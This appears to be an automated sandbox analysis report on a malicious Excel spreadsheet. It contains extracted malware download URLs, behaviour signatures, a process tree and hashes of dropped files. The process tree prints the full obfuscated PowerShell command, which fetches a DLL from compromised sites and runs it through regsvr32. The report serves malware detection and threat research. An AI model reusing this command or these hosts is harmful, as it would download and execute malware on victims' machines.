Analysis
-
max time kernel
33s -
max time network
36s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 21:40
Behavioral task
behavioral1
Sample
ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5.xls
Resource
win7-20240708-en
General
-
Target
ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5.xls
-
Size
438KB
-
MD5
4730e79a3698edbac2f06e439025303b
-
SHA1
f4a45310262b429dcdbc9e6b9d801cb682be2f3c
-
SHA256
ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5
-
SHA512
68ac3709b741627e0f2b407104cfb81f232cb901529fbb2e5b3a7dcbd068929d93667afc1eab6cc899fe5fc84b86dccdb7ffd3156d65cafbd6962d6d265c8537
-
SSDEEP
12288:c947a/JjsLZjXYc7X0/aXCKli04OaZ1X+Q7hFk:WurYc7E/i004OSH7hFk
Malware Config
Extracted
https://wildmanwildfood.com/wp-admin/wxyadXKXFe/
https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/
https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/
https://fastonlineearn.com/wp-content/L/
https://mbmscaffolding.co.uk/test/3j/
https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/
https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/
http://lonaomer.com/wp-content/6G/
https://tainformado.com.br/wp-content/0Ysot/
https://nifdtb.in/wp-content/9uHo3GBgyIQ/
https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/
https://narsanat.com/banner/TnIhz/
https://vanessanascimento.com.br/auren-xbox/cDD2dfW/
https://medvital.com.br/arquivos/q6ZjbPPoR7l/
https://mcjalandhar.in/1950-kill/BMoLHJM4g/
https://nuranabd.com/wp-content/BhYOZ2pJV5q/
https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/
http://news.leta.com.vn/-/NQOY80o/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
wscript.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4340 4812 wscript.exe 83 -
Blocklisted process makes network request 11 IoCs
Processes:
powershell.exeflow pid Process 23 3564 powershell.exe 27 3564 powershell.exe 31 3564 powershell.exe 37 3564 powershell.exe 41 3564 powershell.exe 45 3564 powershell.exe 48 3564 powershell.exe 52 3564 powershell.exe 55 3564 powershell.exe 67 3564 powershell.exe 71 3564 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
regsvr32.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 4812 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3564 powershell.exe 3564 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3564 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid Process 4812 EXCEL.EXE 4812 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid Process 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE 4812 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
EXCEL.EXEwscript.execmd.exedescription pid Process procid_target PID 4812 wrote to memory of 4340 4812 EXCEL.EXE 87 PID 4812 wrote to memory of 4340 4812 EXCEL.EXE 87 PID 4340 wrote to memory of 3564 4340 wscript.exe 88 PID 4340 wrote to memory of 3564 4340 wscript.exe 88 PID 4340 wrote to memory of 3068 4340 wscript.exe 98 PID 4340 wrote to memory of 3068 4340 wscript.exe 98 PID 3068 wrote to memory of 2976 3068 cmd.exe 100 PID 3068 wrote to memory of 2976 3068 cmd.exe 100 PID 3068 wrote to memory of 2976 3068 cmd.exe 100
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba1746e49a4557b56504c7ba3d6ddbcbc6a012484d50ad36bff18e41d9f9c0b5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\etyockqw.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3564
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll3⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll4⤵
- System Location Discovery: System Language Discovery
PID:2976
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD53c27c6304ef775621891ed6470b1e749
SHA1b8e879723db3d9bc24b1e2230724fd1600fdaa74
SHA25641522debfa0aad5f0dadd64b3b6618eef77cd5c0ee9f41d666237ac2c243cb73
SHA512b939f07ae944d01fdffaf5aa8aec0151d71aec8c6e30c7e08e546d669e9d90e18846c9e0515ed68582ffd519794923957680732f7f94e14774a59448847811d1
-
Filesize
2KB
MD5a35f55cf91f2003615533b5be5948090
SHA1b5b89075550e2592b69f4541cfbdf33dd8fbf175
SHA256d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c
SHA512098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899
-
MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e